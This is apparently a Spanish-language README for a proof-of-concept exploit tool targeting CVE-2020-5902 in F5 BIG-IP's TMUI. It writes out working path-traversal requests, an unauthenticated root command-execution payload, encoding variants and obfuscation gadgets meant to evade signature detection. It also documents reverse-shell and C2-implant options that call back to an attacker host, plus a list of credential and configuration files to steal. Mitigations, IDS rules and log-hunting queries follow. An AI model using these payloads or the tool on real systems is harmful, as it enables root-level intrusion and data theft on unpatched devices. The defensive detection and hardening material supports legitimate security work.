
El F5 BIG-IP es una plataforma de entrega y seguridad de aplicaciones ampliamente utilizada en entornos corporativos. La CVE-2020-5902 es una vulnerabilidad crítica en el TMUI que, en versiones sin parchear, puede permitir acceso no autorizado y ejecución remota de código, lo que refuerza la necesidad de actualización y gestión continua de vulnerabilidades.
Exploit de prueba de concepto para la vulnerabilidad crítica de path traversal / ejecución remota de código en la Interfaz de Usuario de Gestión de Tráfico (TMUI) de F5 BIG-IP.
⚠️ Solo para pruebas de penetración autorizadas e investigación de seguridad. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso por escrito de probar es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.
F5 BIG-IP es una familia de dispositivos de red multipropósito (balanceadores de carga, WAF, controladores de entrega de aplicaciones) desplegados en la mayoría de las empresas Fortune 500, instituciones financieras, organizaciones de salud y agencias gubernamentales de todo el mundo. La Interfaz de Usuario de Gestión de Tráfico (TMUI) — también denominada Utilidad de Configuración — es el portal de gestión basado en web accesible a través del puerto 443 (o 8443).
En julio de 2020, F5 reveló CVE-2020-5902, una vulnerabilidad Crítica (CVSS 9.8) de path traversal sin autenticación en TMUI que permite a un atacante remoto no autenticado:
A los pocos días de la divulgación pública, se observó explotación masiva en entornos reales, incluso por parte de actores patrocinados por estados.
TMUI está construido sobre Apache Tomcat y utiliza un filtro de servlets para imponer la autenticación en los recursos protegidos. La vulnerabilidad radica en cómo Tomcat analiza los segmentos de ruta delimitados por punto y coma (;).
La siguiente solicitud evita la autenticación por completo:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Por qué funciona:
/tmui/login.jsp (termina antes de ;), que es la página de inicio de sesión pública, y permite la solicitud./..;/ como un path traversal (/../) antes del envío.fileRead.jsp sin autenticación.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
El servlet tmshCmd.jsp (también accesible mediante el mismo traversal) pasa los parámetros command y utilCmdArgs directamente a tmsh (el shell de gestión de BIG-IP), que envuelve run util bash -c '...'. Esto proporciona ejecución de comandos del sistema operativo a nivel de root sin autenticación:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
La herramienta aplica uno de dos gadgets de ofuscación por ejecución, lo que dificulta la detección mediante firmas estáticas:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS y Traffix SDC no se ven afectados por este CVE específico.
!revshell, !c2, !read, !brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Requisitos: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
Una vez en el modo --shell, están disponibles los siguientes comandos especiales:
La mitigación más eficaz es garantizar que la interfaz de gestión nunca sea accesible desde redes no confiables:
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
Alternativamente, desde la configuración de Self IP de BIG-IP, asegúrate de que el puerto de gestión no tenga una ruta externa.
F5 publicó un script de mitigación que añade una RewriteRule de Apache para bloquear el patrón de traversal:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Referencia: K52145254 — Pasos de mitigación
La solución definitiva es actualizar BIG-IP a una versión parcheada (consulta la tabla de Versiones Afectadas). F5 corrigió la lógica del filtro de servlets para analizar correctamente los segmentos de ruta delimitados por punto y coma antes de aplicar la autenticación.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
Principios clave:
Self IP de BIG-IP debe establecerse en Allow None o Allow DefaultsSi hay un WAF delante de la gestión de BIG-IP (poco habitual pero posible en algunas arquitecturas), añade reglas para bloquear:
; en la ruta de la URL..; o %3b en los segmentos de ruta/tmui/locallb/workspace/ desde fuentes ajenas a la gestión[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
Patrones de URL:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Objetivos comunes de los atacantes (archivos accedidos):
/etc/passwd — credential harvesting
/config/bigip.conf — VPN/routing config exfiltration
/config/bigip.license — license key theft
/config/bigip_user.conf — local admin account enumeration
/root/.bash_history — historical command reconnaissance
http.title:"BIG-IP" port:443Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas. Está destinada a:
Usar esta herramienta contra sistemas sin permiso explícito por escrito es un delito penal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act del Reino Unido, la Lei Nº 12.737/2012 de Brasil (Lei Carolina Dieckmann) y las leyes equivalentes en la mayoría de las jurisdicciones del mundo.
El autor y los colaboradores de este repositorio no aceptan ninguna responsabilidad por cualquier daño, consecuencia legal u otro perjuicio derivado del mal uso de este software.
Hecho para la comunidad de investigación en seguridad. Parchea tus sistemas. Protege tus redes.
| Variante | Payload |
|---|
| Estándar | tmui/login.jsp/..;/tmui/... |
| Punto y coma codificado | tmui/login.jsp/..%3b/tmui/... |
| Doble codificación URL | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Doble punto Unicode | tmui/login.jsp/%2e%2e;/tmui/... |
| Variación de mayúsculas/minúsculas | TMUI/login.jsp/..;/tmui/... |
| Confusión de directorio | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| Rama BIG-IP | Rango Vulnerable | Versión Parcheada |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Comando | Descripción |
|---|
!revshell <lhost> <lport> | Lanza 4 variantes de reverse shell simultáneamente |
!c2 <url> <type> [args] | Descarga y ejecuta un implante C2 |
!read <path> | Lee un archivo arbitrario mediante LFI |
!brute | Fuerza bruta sobre 30 rutas sensibles |
!exit | Finaliza la sesión |
<any OS command> | Ejecuta mediante RCE e imprime la salida |
| Fecha | Evento |
|---|
| 2020-06-30 | Se notifica a F5 de forma privada |
| 2020-07-01 | F5 publica el aviso (K52145254) y los parches |
| 2020-07-03 | Se publica un PoC público en Twitter |
| 2020-07-04 | Múltiples firmas de inteligencia de amenazas observan explotación masiva |
| 2020-07-06 | CISA emite la Directiva de Emergencia 20-03 que ordena el parcheo federal |
| 2020-07-09 | Se confirma que actores estatales (APT) explotan la vulnerabilidad en entornos reales |
| 2020-07-15 | Aproximadamente 8.000 instancias de BIG-IP siguen sin parchear (Shodan) |
| 2020-08-xx | Los grupos de ransomware comienzan a atacar dispositivos BIG-IP sin parchear |